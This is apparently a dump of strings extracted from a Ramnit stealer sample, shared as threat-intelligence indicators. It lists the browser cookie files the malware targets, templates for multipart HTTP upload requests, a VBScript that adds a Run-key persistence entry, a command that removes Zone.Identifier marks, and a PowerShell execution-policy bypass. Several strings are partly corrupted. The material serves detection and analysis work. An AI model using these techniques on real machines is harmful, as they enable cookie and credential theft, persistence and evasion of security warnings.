Stealer - Ramnit

\Google\Chrome\User Data\Default\Cookies
\Google\Chrome\User Data\Default\Extension Cookies
%APPDATA%\Apple Computer\Safari\Cookies\Cookies.plist
%APPDATA%\Mozilla\Firefox\
C:\WINDOWS\Application Data\Mozilla\Firefox\
profiles.ini
1rofile%d
Path
IsRelative
\cookies.txt
\cookies.sqlite
1APPDATA%\Macromedia\Flash Player\#SharedObjects
%APPDATA%\Opera\
\profile\cookies4.dat
\cookies4.dat
SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Opera.exe
Path
IE Cookies
LireFox Cookies\Profile %d\cookies.txt
LireFox Cookies\Profile %d\cookies.sqlite
Whrome\Cookies
Whrome\Extension Cookies
1pera\Profile %d\cookies4.dat
Safari\Cookies.plist

Host:{*}
Referer:{*}
Cache-Control:{*}
Content-Length:{*}
Transfer-Encoding:{*}
Content-Type:{*}
Content-Encoding:{*}
Authorization:{*}
Accept-Language:{*}
User-Agent:{*}
%s:*
chunkedR
/PRI * HTTP/2.0
HTTPMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Referer: %s
Content-Type: multipart/form-data; boundary=%s
Content-Length: %d
--%s
Content-Disposition: form-data; name="%s"
--%s--
%s /%s HTTP/1.1
Host: %s
User-Agent: %s
%sAccept-Language: %s
Accept: text/html, application/xml;q=0.9, application/xhtml+xml;q=0.9, image/png, image/jpeg, image/gif, image/x-xbitmap, *\*;q=0.1
Accept-Charset: utf-8, utf-16, iso-8859-1;q=0.6, *;q=0.1
Pragma: no-cache

Set wshShell = CreateObject( "WScript.Shell" )
wshShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\%s", "%s", "REG_SZ"
Set wshShell = CreateObject( "WScript.Shell" )
Return = WshShell.Run("cmd /K CD %s & %s & exit", 0, 0)
Set wshShell = Nothing
%s %s
cmd /c "echo.>%s:Zone.Identifier"
powershell.exe
-executionpolicy bypass -File

per @mesa_matt this is ramnit